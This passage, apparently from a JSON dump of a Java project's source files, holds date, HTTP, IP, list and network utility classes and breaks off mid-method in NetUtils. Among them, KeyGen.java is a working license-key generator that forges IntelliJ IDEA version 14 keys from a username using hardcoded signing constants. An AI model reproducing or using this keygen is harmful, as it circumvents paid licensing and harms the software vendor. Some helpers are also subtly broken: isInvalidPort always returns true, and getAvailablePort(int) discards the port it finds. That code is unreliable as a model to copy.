    "content": "package com.gome.clover.common.tools;\r\n\r\nimport org.quartz.CronExpression;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport java.text.ParseException;\r\nimport java.text.SimpleDateFormat;\r\nimport java.util.Date;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:日期工具类\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\npublic class DateUtil {\r\n\r\n    private final static Logger logger = LoggerFactory.getLogger(DateUtil.class);\r\n\r\n    private final static  String pattern = \"yyyy-MM-dd HH:mm:ss\";\r\n\r\n    public static long getServerTime() {\r\n        return System.currentTimeMillis();\r\n    }\r\n\r\n    /**\r\n     * 格式化日期(String-->Date),默认返回yyyy-MM-dd HH:mm:ss\r\n     * @param date 日期\r\n     * @return\r\n     */\r\n    public static String formatWithDefaultPattern(Date date) {\r\n        return format(date,pattern);\r\n    }\r\n\r\n    /**\r\n     * 格式化显示当前日期\r\n     * @param pattern 日期格式格式\r\n     * @return String\r\n     */\r\n    public static String formatWithCurrentTime(String pattern) {\r\n        return format(new Date(),pattern);\r\n    }\r\n\r\n    /**\r\n     * 日期格式化(Date-->String)\r\n     * @param date 日期\r\n     * @param pattern 日期格式格式\r\n     * @return\r\n     */\r\n    public static String format(Date date, String pattern) {\r\n        try {\r\n            SimpleDateFormat sdf = new SimpleDateFormat(pattern);\r\n            return sdf.format(date);\r\n        } catch (Exception e) {\r\n            logger.error(\"DateUtil-->>format(\" + date + \",\" + pattern + \") error\", e.getMessage());\r\n            throw new RuntimeException(\"DateUtil-->>format(\"+date+\",\"+pattern+\") error,\"+ e.getMessage());\r\n        }\r\n    }\r\n\r\n    /**\r\n     * 日期格式化(String-->Date),默认返回yyyy-MM-dd HH:mm:ss\r\n     * @param dateStr 字符串格式日期\r\n     * @return Date\r\n     */\r\n    public static Date formatWithDefaultPattern(String dateStr) {\r\n        try {\r\n            SimpleDateFormat sdf = new SimpleDateFormat(pattern);\r\n            return sdf.parse(dateStr);\r\n        } catch (Exception e) {\r\n            logger.error(\"DateUtil-->>formatWithDefaultPattern(\"+dateStr+\") error\", e.getMessage());\r\n             throw new RuntimeException(\"DateUtil-->>formatWithDefaultPattern(\"+dateStr+\") error,\"+ e.getMessage());\r\n        }\r\n    }\r\n\r\n    /**\r\n     * 日期格式化(String-->Date)\r\n     * @param dateStr 字符串格式日期\r\n     * @param pattern\r\n     * @return Date\r\n     */\r\n    public static Date format(String dateStr, String pattern) {\r\n        try {\r\n            SimpleDateFormat sdf = new SimpleDateFormat(pattern);\r\n            return sdf.parse(dateStr);\r\n        } catch (Exception e) {\r\n            logger.error(\"DateUtil-->>format(\"+dateStr+\",\"+pattern+\") error\", e.getMessage());\r\n            throw new RuntimeException(\"DateUtil-->>format(\"+dateStr+\",\"+pattern+\") error,\"+ e.getMessage());\r\n        }\r\n    }\r\n\r\n    /**\r\n     * 时间格式化， 传入毫秒\r\n     * @param time\r\n     * @return\r\n     */\r\n    public static String dateFormat(long time) {\r\n        return format(new Date(time), \"yyyy-MM-dd HH:mm:ss\");\r\n    }\r\n\r\n    /**\r\n     * 获取当前日期时间字符串\r\n     * @return\r\n     */\r\n    public static String currentDateTime() {\r\n        Date date = new Date();\r\n        date.setTime(System.currentTimeMillis());\r\n        SimpleDateFormat df = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\r\n        try {\r\n            return df.format(date);\r\n        } catch (Exception e) {\r\n            logger.error(\"DateUtil-->>currentDateTime() error\", e.getMessage());\r\n            throw new RuntimeException(\"DateUtil-->>currentDateTime() error,\"+ e.getMessage());\r\n        }\r\n    }\r\n\r\n    public static  Date getNextValidTimeAfter(String cronExpressionStr, Date currentDate) throws ParseException {\r\n        CronExpression cronExpression = new CronExpression(cronExpressionStr);\r\n        return cronExpression.getNextValidTimeAfter(currentDate);\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/tools/HttpRequest.java",
    "content": "package com.gome.clover.common.tools;\r\nimport java.io.BufferedReader;\r\nimport java.io.IOException;\r\nimport java.io.InputStreamReader;\r\nimport java.io.PrintWriter;\r\nimport java.net.URL;\r\nimport java.net.URLConnection;\r\nimport java.util.List;\r\nimport java.util.Map;\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/4\r\n * Time: 23:33\r\n */\r\npublic class HttpRequest {\r\n    /**\r\n     * 向指定URL发送GET方法的请求\r\n     *\r\n     * @param url\r\n     *            发送请求的URL\r\n     * @param param\r\n     *            请求参数，请求参数应该是 name1=value1&name2=value2 的形式。\r\n     * @return URL 所代表远程资源的响应结果\r\n     */\r\n    public static String sendGet(String url, String param) {\r\n        String result = \"\";\r\n        BufferedReader in = null;\r\n        try {\r\n            String urlNameString = url + \"?\" + param;\r\n            URL realUrl = new URL(urlNameString);\r\n            // 打开和URL之间的连接\r\n            URLConnection connection = realUrl.openConnection();\r\n            // 设置通用的请求属性\r\n            connection.setRequestProperty(\"accept\", \"*/*\");\r\n            connection.setRequestProperty(\"connection\", \"Keep-Alive\");\r\n            connection.setRequestProperty(\"user-agent\",\r\n                    \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)\");\r\n            // 建立实际的连接\r\n            connection.connect();\r\n            // 获取所有响应头字段\r\n            Map<String, List<String>> map = connection.getHeaderFields();\r\n            // 遍历所有的响应头字段\r\n            for (String key : map.keySet()) {\r\n                System.out.println(key + \"--->\" + map.get(key));\r\n            }\r\n            // 定义 BufferedReader输入流来读取URL的响应\r\n            in = new BufferedReader(new InputStreamReader(\r\n                    connection.getInputStream()));\r\n            String line;\r\n            while ((line = in.readLine()) != null) {\r\n                result += line;\r\n            }\r\n        } catch (Exception e) {\r\n            System.out.println(\"发送GET请求出现异常！\" + e);\r\n            e.printStackTrace();\r\n        }\r\n        // 使用finally块来关闭输入流\r\n        finally {\r\n            try {\r\n                if (in != null) {\r\n                    in.close();\r\n                }\r\n            } catch (Exception e2) {\r\n                e2.printStackTrace();\r\n            }\r\n        }\r\n        return result;\r\n    }\r\n\r\n    /**\r\n     * 向指定 URL 发送POST方法的请求\r\n     *\r\n     * @param url\r\n     *            发送请求的 URL\r\n     * @param param\r\n     *            请求参数，请求参数应该是 name1=value1&name2=value2 的形式。\r\n     * @return 所代表远程资源的响应结果\r\n     */\r\n    public static String sendPost(String url, String param) {\r\n        PrintWriter out = null;\r\n        BufferedReader in = null;\r\n        String result = \"\";\r\n        try {\r\n            URL realUrl = new URL(url);\r\n            // 打开和URL之间的连接\r\n            URLConnection conn = realUrl.openConnection();\r\n            // 设置通用的请求属性\r\n            conn.setRequestProperty(\"accept\", \"*/*\");\r\n            conn.setRequestProperty(\"connection\", \"Keep-Alive\");\r\n            conn.setRequestProperty(\"user-agent\",\r\n                    \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)\");\r\n            // 发送POST请求必须设置如下两行\r\n            conn.setDoOutput(true);\r\n            conn.setDoInput(true);\r\n            // 获取URLConnection对象对应的输出流\r\n            out = new PrintWriter(conn.getOutputStream());\r\n            // 发送请求参数\r\n            out.print(param);\r\n            // flush输出流的缓冲\r\n            out.flush();\r\n            // 定义BufferedReader输入流来读取URL的响应\r\n            in = new BufferedReader(\r\n                    new InputStreamReader(conn.getInputStream()));\r\n            String line;\r\n            while ((line = in.readLine()) != null) {\r\n                result += line;\r\n            }\r\n        } catch (Exception e) {\r\n            System.out.println(\"发送 POST 请求出现异常！\"+e);\r\n            e.printStackTrace();\r\n        }\r\n        //使用finally块来关闭输出流、输入流\r\n        finally{\r\n            try{\r\n                if(out!=null){\r\n                    out.close();\r\n                }\r\n                if(in!=null){\r\n                    in.close();\r\n                }\r\n            }\r\n            catch(IOException ex){\r\n                ex.printStackTrace();\r\n            }\r\n        }\r\n        return result;\r\n    }\r\n}"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/tools/IpUtil.java",
    "content": "package com.gome.clover.common.tools;\r\n\r\nimport com.mongodb.BasicDBObject;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport java.io.*;\r\nimport java.net.Inet4Address;\r\nimport java.net.InetAddress;\r\nimport java.net.NetworkInterface;\r\nimport java.util.ArrayList;\r\nimport java.util.Collections;\r\nimport java.util.Comparator;\r\nimport java.util.Enumeration;\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:IpUtil\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\npublic class IpUtil {\r\n\r\n\tpublic static final Logger logger = LoggerFactory.getLogger(IpUtil.class);\r\n\r\n\tpublic static String getLocalIP() {\r\n\t\tEnumeration<NetworkInterface> netInterfaces = null;\r\n\t\tString localIp = \"127.0.0.1\";\r\n\t\ttry {\r\n\t\t\tnetInterfaces = NetworkInterface.getNetworkInterfaces();\r\n\t\t} catch (Exception e) {\r\n            logger.error(e.getMessage(), e);\r\n\t\t}\r\n\t\tif (netInterfaces == null)\r\n\t\t\treturn localIp;\r\n\t\tArrayList<BasicDBObject> items = new ArrayList<BasicDBObject>();\r\n\t\twhile (netInterfaces.hasMoreElements()) {\r\n\t\t\tNetworkInterface ni = netInterfaces.nextElement();\r\n\t\t\tString name = ni.getName().toLowerCase();\r\n\t\t\tif (name.startsWith(\"lo\") || name.startsWith(\"vir\") || name.startsWith(\"vmnet\") || name.startsWith(\"wlan\"))\r\n\t\t\t\tcontinue;\r\n\t\t\tEnumeration<InetAddress> ips = ni.getInetAddresses();\r\n\t\t\twhile (ips.hasMoreElements()) {\r\n\t\t\t\tInetAddress ia = ips.nextElement();\r\n\t\t\t\tif ((ia instanceof Inet4Address) == false)\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\tif (ia.getHostAddress().toString().startsWith(\"127\"))\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\titems.add(new BasicDBObject().append(\"name\", name).append(\"ip\", ia.getHostAddress()));\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (items.size() == 0)\r\n\t\t\treturn localIp;\r\n\t\tCollections.sort(items, new Comparator<BasicDBObject>() {\r\n\t\t\t@Override\r\n\t\t\tpublic int compare(BasicDBObject o1, BasicDBObject o2) {\r\n\t\t\t\treturn o1.getString(\"name\").compareToIgnoreCase(o2.getString(\"name\"));\r\n\t\t\t}\r\n\t\t});\r\n\t\treturn items.get(0).getString(\"ip\");\r\n\t}\r\n\r\n\tpublic static String getLocalName() {\r\n\t\tBufferedReader reader = null;\r\n\t\ttry {\r\n\t\t\tRuntime run = Runtime.getRuntime();\r\n\t\t\tProcess proc = run.exec(\"hostname\");\r\n\t\t\tStringWriter result = new StringWriter();\r\n\t\t\treader = new BufferedReader(new InputStreamReader(proc.getInputStream(), \"utf-8\"));\r\n\t\t\tString line = null;\r\n\t\t\twhile ((line = reader.readLine()) != null)\r\n\t\t\t\tresult.append(line);\r\n\t\t\treturn result.toString();\r\n\t\t} catch (Exception e) {\r\n\t\t\treturn \"unknow local name\";\r\n\t\t} finally {\r\n\t\t\tcloseReader(reader);\r\n\t\t}\r\n\t}\r\n\r\n\tprivate static void closeReader(Reader reader) {\r\n\t\tif (reader == null)\r\n\t\t\treturn;\r\n\t\ttry {\r\n\t\t\treader.close();\r\n\t\t} catch (IOException e) {\r\n            logger.error(e.getMessage(), e);\r\n\t\t}\r\n\t}\r\n}"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/tools/KeyGen.java",
    "content": "package com.gome.clover.common.tools;\r\n\r\nimport java.math.BigInteger;\r\nimport java.util.Date;\r\nimport java.util.Random;\r\nimport java.util.Scanner;\r\nimport java.util.zip.CRC32;\r\npublic class KeyGen {\r\n    public static short getCRC(String s, int i, byte bytes[]){\r\n        CRC32 crc32 = new CRC32();\r\n        if (s != null)\r\n        {\r\n            for (int j = 0; j < s.length(); j++)\r\n            {\r\n                char c = s.charAt(j);\r\n                crc32.update(c);\r\n            }\r\n        }\r\n        crc32.update(i);\r\n        crc32.update(i >> 8);\r\n        crc32.update(i >> 16);\r\n        crc32.update(i >> 24);\r\n        for (int k = 0; k < bytes.length - 2; k++)\r\n        {\r\n            byte byte0 = bytes[k];\r\n            crc32.update(byte0);\r\n        }\r\n        return (short) (int) crc32.getValue();\r\n    }\r\n\r\n    public static String encodeGroups(BigInteger biginteger){\r\n        BigInteger beginner1 = BigInteger.valueOf(0x39aa400L);\r\n        StringBuilder sb = new StringBuilder();\r\n        for (int i = 0; biginteger.compareTo(BigInteger.ZERO) != 0; i++)\r\n        {\r\n            int j = biginteger.mod(beginner1).intValue();\r\n            String s1 = encodeGroup(j);\r\n            if (i > 0)\r\n            {\r\n                sb.append(\"-\");\r\n            }\r\n            sb.append(s1);\r\n            biginteger = biginteger.divide(beginner1);\r\n        }\r\n        return sb.toString();\r\n    }\r\n\r\n    public static String encodeGroup(int i){\r\n        StringBuilder sb = new StringBuilder();\r\n        for (int j = 0; j < 5; j++)\r\n        {\r\n            int k = i % 36;\r\n            char c;\r\n            if (k < 10)\r\n            {\r\n                c = (char) (48 + k);\r\n            }\r\n            else\r\n            {\r\n                c = (char) ((65 + k) - 10);\r\n            }\r\n            sb.append(c);\r\n            i /= 36;\r\n        }\r\n        return sb.toString();\r\n    }\r\n\r\n    public static String MakeKey(String name, int days, int id){\r\n        id %= 100000;\r\n        byte bkey[] = new byte[12];\r\n        bkey[0] = (byte) 1; // Product type: IntelliJ IDEA is 1\r\n        bkey[1] = 14; // version\r\n        Date d = new Date();\r\n        long ld = (d.getTime() >> 16);\r\n        bkey[2] = (byte) (ld & 255);\r\n        bkey[3] = (byte) ((ld >> 8) & 255);\r\n        bkey[4] = (byte) ((ld >> 16) & 255);\r\n        bkey[5] = (byte) ((ld >> 24) & 255);\r\n        days &= 0xffff;\r\n        bkey[6] = (byte) (days & 255);\r\n        bkey[7] = (byte) ((days >> 8) & 255);\r\n        bkey[8] = 105;\r\n        bkey[9] = -59;\r\n        bkey[10] = 0;\r\n        bkey[11] = 0;\r\n        int w = getCRC(name, id % 100000, bkey);\r\n        bkey[10] = (byte) (w & 255);\r\n        bkey[11] = (byte) ((w >> 8) & 255);\r\n        BigInteger pow = new BigInteger(\"89126272330128007543578052027888001981\", 10);\r\n        BigInteger mod = new BigInteger(\"86f71688cdd2612ca117d1f54bdae029\", 16);\r\n        BigInteger k0 = new BigInteger(bkey);\r\n        BigInteger k1 = k0.modPow(pow, mod);\r\n        String s0 = Integer.toString(id);\r\n        String sz = \"0\";\r\n        while (s0.length() != 5)\r\n        {\r\n            s0 = sz.concat(s0);\r\n        }\r\n        s0 = s0.concat(\"-\");\r\n        String s1 = encodeGroups(k1);\r\n        s0 = s0.concat(s1);\r\n        return s0;\r\n    }\r\n\r\n    public static void main(String[] args){\r\n        System.out.println(\"请输入用户名:\");\r\n        Scanner scanner = new Scanner(System.in);\r\n        String username = scanner.next();\r\n        Random r = new Random();\r\n        System.out.println(MakeKey(username, 0, r.nextInt(100000)));\r\n    }\r\n}"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/tools/List2StringUtil.java",
    "content": "package com.gome.clover.common.tools;\r\n\r\nimport com.alibaba.fastjson.JSON;\r\n\r\nimport java.util.ArrayList;\r\nimport java.util.List;\r\nimport java.util.Random;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:字符串与List 转换工具\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\npublic class List2StringUtil {\r\n    /**\r\n     * json串转List集合\r\n     * @param jsonStr\r\n     * @return List 集合\r\n     */\r\n    public static List json2List(String jsonStr){\r\n        return JSON.parseObject(jsonStr,List.class);\r\n    }\r\n\r\n    /**\r\n     * List集合转json串\r\n     * @param list 集合\r\n     * @return\r\n     */\r\n    public static String list2JsonStr(List list){\r\n        return JSON.toJSONString(list);\r\n    }\r\n\r\n    /**\r\n     * 从List集合中随机获取一个值\r\n     * @param list 集合\r\n     * @return\r\n     */\r\n    public static  String  getRandomValueFromList(List<String> list){\r\n        if(0==list.size())return null;\r\n        int len = list.size();\r\n        Random random = new Random();\r\n        return list.get(random.nextInt(len));\r\n    }\r\n\r\n    /**\r\n     * 添加一个List集合中不存在的值\r\n     * @param str\r\n     * @param list\r\n     * @return true:添加成功;false:添加失败\r\n     */\r\n    public static boolean addUnDuplicateString2List(String str, List<String> list){\r\n        if(!list.contains(str)){\r\n            list.add(str);\r\n            return true;\r\n        }\r\n        return false;\r\n    }\r\n    /**\r\n     * 添加一个List集合中不存在的值\r\n     * @param str\r\n     * @param list\r\n     * @return true:添加成功;false:添加失败\r\n     */\r\n    public static boolean addUnDuplicateString2List2(String str, List<String> list){\r\n        if(!list.contains(str)){\r\n            list.add(str);\r\n            return true;\r\n        }\r\n        return false;\r\n    }\r\n\r\n    public static  String[]  listToArray(List<String> list){\r\n        int len = list.size();\r\n        String[] strs = new String[len];\r\n        int index = 0;\r\n        for(String str : list){\r\n            strs[index++] = str;\r\n        }\r\n        return strs;\r\n    }\r\n    public static void remove(List<String> list,String str){\r\n        if(list.contains(str)){\r\n            list.remove(str);\r\n        }\r\n    }\r\n    public static List<String> getServerIpList(List<String> serverDataList){\r\n        List<String> ipList  = new ArrayList<String>();\r\n        for(String serverDataStr : serverDataList){//127.0.0.1_#_1_#_124388347830(ip_#_alive_#_ts)\r\n            String [] tempSplitServerDatas =  serverDataStr.split(CommonConstants.SPLIT_CHARACTER_FALG);\r\n            if(null != tempSplitServerDatas &&CommonConstants.ALIVE_STATUS_1.equals(tempSplitServerDatas[1])){\r\n                ipList.add(tempSplitServerDatas[0]);\r\n            }\r\n        }\r\n        return ipList;\r\n    }\r\n    public static byte[] toBytes(String content) {\r\n        try {\r\n            return content.getBytes(\"utf-8\"); } catch (Exception e) {\r\n        }\r\n        return content.getBytes();\r\n    }\r\n\r\n    public static String toString(byte[] bytes) {\r\n        try {\r\n            return new String(bytes, \"utf-8\"); } catch (Exception e) {\r\n        }\r\n        return new String(bytes);\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/tools/NetUtils.java",
    "content": "package com.gome.clover.common.tools;\r\n\r\nimport com.gome.clover.common.cache.LRUCache2;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport java.io.IOException;\r\nimport java.net.*;\r\nimport java.util.Enumeration;\r\nimport java.util.Random;\r\nimport java.util.regex.Pattern;\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/22\r\n * Time: 16:57\r\n */\r\n\r\npublic class NetUtils\r\n{\r\n    private static final Logger logger = LoggerFactory.getLogger(NetUtils.class);\r\n    public static final String LOCALHOST = \"127.0.0.1\";\r\n    public static final String ANYHOST = \"0.0.0.0\";\r\n    private static final int RND_PORT_START = 30000;\r\n    private static final int RND_PORT_RANGE = 10000;\r\n    private static final Random RANDOM = new Random(System.currentTimeMillis());\r\n    private static final int MIN_PORT = 0;\r\n    private static final int MAX_PORT = 65535;\r\n    private static final Pattern ADDRESS_PATTERN = Pattern.compile(\"^\\\\d{1,3}(\\\\.\\\\d{1,3}){3}\\\\:\\\\d{1,5}$\");\r\n\r\n    private static final Pattern LOCAL_IP_PATTERN = Pattern.compile(\"127(\\\\.\\\\d{1,3}){3}$\");\r\n\r\n    private static final Pattern IP_PATTERN = Pattern.compile(\"\\\\d{1,3}(\\\\.\\\\d{1,3}){3,5}$\");\r\n\r\n    private static volatile InetAddress LOCAL_ADDRESS = null;\r\n    private static final LRUCache2<String, String> hostNameCache = new LRUCache2<String, String>(1000);\r\n\r\n    public static int getRandomPort()\r\n    {\r\n        return 30000 + RANDOM.nextInt(10000);\r\n    }\r\n\r\n    public static int getAvailablePort() {\r\n        ServerSocket ss = null;\r\n        int i;\r\n        try {\r\n            ss = new ServerSocket();\r\n            ss.bind(null);\r\n            i = ss.getLocalPort();\r\n        }\r\n        catch (IOException e)\r\n        {\r\n            return getRandomPort();\r\n        } finally {\r\n            if (ss != null)\r\n                try {\r\n                    ss.close();\r\n                }\r\n                catch (IOException e) {\r\n                }\r\n        }\r\n        return i;\r\n    }\r\n\r\n    public static int getAvailablePort(int port) {\r\n        if (port <= 1024) {\r\n            return getAvailablePort();\r\n        }\r\n        int i;\r\n        for (i = port; i < 65535; i++) {\r\n            ServerSocket ss = null;\r\n            try {\r\n                ss = new ServerSocket(i);\r\n                i = i;\r\n                break;\r\n            }\r\n            catch (IOException e){\r\n                continue;\r\n            }\r\n            finally\r\n            {\r\n                if (ss != null)\r\n                try {\r\n                    ss.close();\r\n                }\r\n                catch (IOException e) {\r\n                }\r\n            }\r\n        }\r\n        return port;\r\n    }\r\n\r\n    public static boolean isInvalidPort(int port)\r\n    {\r\n        return (port > 0) || (port <= 65535);\r\n    }\r\n\r\n    public static boolean isValidAddress(String address)\r\n    {\r\n        return ADDRESS_PATTERN.matcher(address).matches();\r\n    }\r\n\r\n    public static boolean isLocalHost(String host)\r\n    {\r\n        return (host != null) && ((LOCAL_IP_PATTERN.matcher(host).matches()) || (host.equalsIgnoreCase(\"localhost\")));\r\n    }\r\n\r\n    public static boolean isAnyHost(String host)\r\n    {\r\n        return \"0.0.0.0\".equals(host);\r\n    }\r\n\r\n    public static boolean isInvalidLocalHost(String host) {\r\n        return (host == null) || (host.length() == 0) || (host.equalsIgnoreCase(\"localhost\")) || (host.equals(\"0.0.0.0\")) || (LOCAL_IP_PATTERN.matcher(host).matches());\r\n    }\r\n\r\n    public static boolean isValidLocalHost(String host)\r\n    {\r\n        return !isInvalidLocalHost(host);\r\n    }\r\n\r\n    public static InetSocketAddress getLocalSocketAddress(String host, int port) {\r\n        return isInvalidLocalHost(host) ? new InetSocketAddress(port) : new InetSocketAddress(host, port);\r\n    }\r\n\r\n    private static boolean isValidAddress(InetAddress address)\r\n    {\r\n        if ((address == null) || (address.isLoopbackAddress()))\r\n            return false;\r\n        String name = address.getHostAddress();\r\n        return (name != null) && (!\"0.0.0.0\".equals(name)) && (!\"127.0.0.1\".equals(name)) && (IP_PATTERN.matcher(name).matches());\r\n    }\r\n\r\n    public static String getLocalHost()\r\n    {\r\n        InetAddress address = getLocalAddress();\r\n        return address == null ? \"127.0.0.1\" : address.getHostAddress();\r\n    }\r\n\r\n\r\n    public static InetAddress getLocalAddress()\r\n    {\r\n        if (LOCAL_ADDRESS != null)\r\n            return LOCAL_ADDRESS;\r\n        InetAddress localAddress = getLocalAddress0();\r\n        LOCAL_ADDRESS = localAddress;\r\n        return localAddress;\r\n    }\r\n\r\n    public static String getLogHost() {\r\n        InetAddress address = LOCAL_ADDRESS;\r\n        return address == null ? \"127.0.0.1\" : address.getHostAddress();\r\n    }\r\n\r\n    private static InetAddress getLocalAddress0() {\r\n        InetAddress localAddress = null;\r\n        try {\r\n            localAddress = InetAddress.getLocalHost();\r\n            if (isValidAddress(localAddress))\r\n                return localAddress;\r\n        }\r\n        catch (Throwable e) {\r\n            logger.warn(\"Failed to retriving ip address, \" + e.getMessage(), e);\r\n        }\r\n        try {\r\n            Enumeration interfaces = NetworkInterface.getNetworkInterfaces();\r\n            if (interfaces != null)\r\n                while (interfaces.hasMoreElements())\r\n                    try {\r\n                        NetworkInterface network = (NetworkInterface)interfaces.nextElement();\r\n                        Enumeration addresses = network.getInetAddresses();\r\n                        if (addresses != null)\r\n                            while (addresses.hasMoreElements())\r\n                                try {\r\n                                    InetAddress address = (InetAddress)addresses.nextElement();\r\n                                    if (isValidAddress(address))\r\n                                        return address;\r\n                                }\r\n                                catch (Throwable e) {\r\n                                    logger.warn(\"Failed to retriving ip address, \" + e.getMessage(), e);\r\n                                }\r\n                    }\r\n                    catch (Throwable e)\r\n                    {\r\n                        logger.warn(\"Failed to retriving ip address, \" + e.getMessage(), e);\r\n                    }\r\n        }\r\n        catch (Throwable e)\r\n        {\r\n            logger.warn(\"Failed to retriving ip address, \" + e.getMessage(), e);\r\n        }\r\n        logger.error(\"Could not get local host ip address, will use 127.0.0.1 instead.\");\r\n        return localAddress;\r\n    }\r\n\r\n    public static String getHostName(String address)\r\n    {\r\n        try\r\n        {\r\n            int i = address.indexOf(':');\r\n            if (i > -1) {\r\n                address = address.substring(0, i);\r\n            }\r\n            String hostname = (String)hostNameCache.get(address);\r\n            if ((hostname != null) && (hostname.length() > 0)) {\r\n                return hostname;\r\n            }\r\n            InetAddress inetAddress = InetAddress.getByName(address);\r\n            if (inetAddress != null) {\r\n                hostname = inetAddress.getHostName();\r\n                hostNameCache.put(address, hostname);\r\n                return hostname;\r\n            }\r\n        }\r\n        catch (Throwable e) {\r\n        }\r\n        return address;\r\n    }\r\n\r\n    public static String getIpByHost(String hostName)\r\n    {\r\n        try\r\n        {\r\n            return InetAddress.getByName(hostName).getHostAddress(); } catch (UnknownHostException e) {\r\n        }\r\n        return hostName;\r\n    }\r\n\r\n    public static String toAddressString(InetSocketAddress address)\r\n    {\r\n        return address.getAddress().getHostAddress() + \":\" + address.getPort();\r\n    }\r\n\r\n    public static InetSocketAddress toAddress(String address) {\r\n        int i = address.indexOf(':');\r\n        int port;\r\n        String host;\r\n        if (i > -1) {\r\n            host = address.substring(0, i);\r\n            port = 